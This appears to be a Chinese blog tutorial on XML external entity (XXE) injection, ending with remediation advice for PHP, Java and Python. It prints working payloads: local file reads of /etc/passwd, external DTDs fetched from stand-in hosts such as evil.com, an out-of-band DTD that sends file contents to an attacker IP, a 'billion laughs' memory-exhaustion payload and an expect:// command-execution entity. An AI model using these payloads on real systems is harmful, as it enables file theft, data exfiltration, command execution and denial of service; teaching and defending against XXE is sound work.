【笔记】XML注入实体记录总结

admin 2022年5月30日01:20:13评论21 views字数 2713阅读9分2秒阅读模式


若想深入研究,可学习下XML语法规则:

https://www.runoob.com/xml/xml-syntax.html


DTD-文档类型定义

作用:定义合法的XML文档构建模块

使用方式:

1.内部声明DTD:<!DOCTYPE 根元素[元素声明]>

2.外部引用DTD:<!DOCTYPE 根元素 SYSTEM "外部DTD的url">

3.引用公共DTD:<!DOCTYPE 根元素 PUBLIC  "DTD标识名" "公用的DTD的URL">


引用外部实体函数

.<!ENTITY 实体名称 SYSTEM "URL">.<!ENTITY 实体名称 PUBLIC "public_ID" "URL">


漏洞的危害:

任意文件读取列目录执行系统命令内网端口探测文件上传(jar协议)攻击内网网址


利用方式

1.通过file协议使用SYSTEM引用外部实体

<?xml version="1.0"><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file://etc/passwd">]><result>&xxe;</result>#&xxe:调用xxeb变量执行SYSTEM后的语句。

2.通过参数实体(%实体名称)来引入外部实体,自身执行%dtd

<?xml version="1.0"><!DOCTYPE a[<!ENTITY %dtd SYSTEM "http://evil.com/evil.dtd">%dtd;]><result>&b;</result>#第一个是设置%dtd  第二个是自执行

3.DTD自身就支持调用外部的DTD文件

<?xml version="1.0"><!DOCTYPE a SYSTEM "http://evil.com/evil.dtd"><c>&a;</c>

*以上适用到的evil.dtd文件内容

4.xml注入危害:拒绝服务

进行递归引用,从下至上以指数形式增多,实验发现,小于1k的xml攻击payload可以消耗3g内存

<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>


无回显时任意文件读取

当无法直接获取响应内容,可将获取内容发送到远程服务器

第一步在攻击者服务器搭建可访问的DTD文件,内容如下:

<!ENTITY %file SYSTEM "file://etc/passwd"><!ENTITY %request "<!ENTITY foo SYSTEM 'http://your.ip/id=%file;'>">%request;

第二步,构造攻击请求,并接收到返回的文件内容

POST /login HTTP/1.1Host:10.0.0.1content-Type:text/xml
<?xml version="1.0" encoding="UTF-8"><!DOCTYPE xxe SYSTEM "http://12.12.3.4:8081/bind1.dtd"><title>foo</title>

任意文件读取案例

避免数据不完整所以可以通过php:// 流来将读取的文件内容进行Base64编码

php://filter/read=convert.base64-encode/resource=资源位置
<?php$xml = <<<EOF<?xml version="1.0"?><!DOCTTYPE ANY[<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=E:/xxe.php'>]><result>&xxe;</result>EOF;$data = simplexml_load_string($xml);print_r($data);?>

EXCEPT命令执行

<!DOCTYPE root[<ENTITY cmd SYSTEM "expect://id">]><dir><file>&cmd;</file></dir>

脚本默认支持的外部实体协议

【笔记】XML注入实体记录总结

【笔记】XML注入实体记录总结


漏洞修复

1、禁用外部实体

PHP:libxml_disable_entity_loader(true); Java:DocumentBuilderFactory dbf   =DocumentBuilderFactory.newInstance();      dbf.setExpandEntityReferences(false);Python:from lxml import etree   xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))其它语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

2.过滤关键字,如<!DOCTYPE 、<!ENTITY、SYSTEM和PUBLIC等

原文始发于微信公众号(菜鸟小新):【笔记】XML注入实体记录总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月30日01:20:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【笔记】XML注入实体记录总结http://cn-sec.com/archives/1065095.html

发表评论

匿名网友 填写信息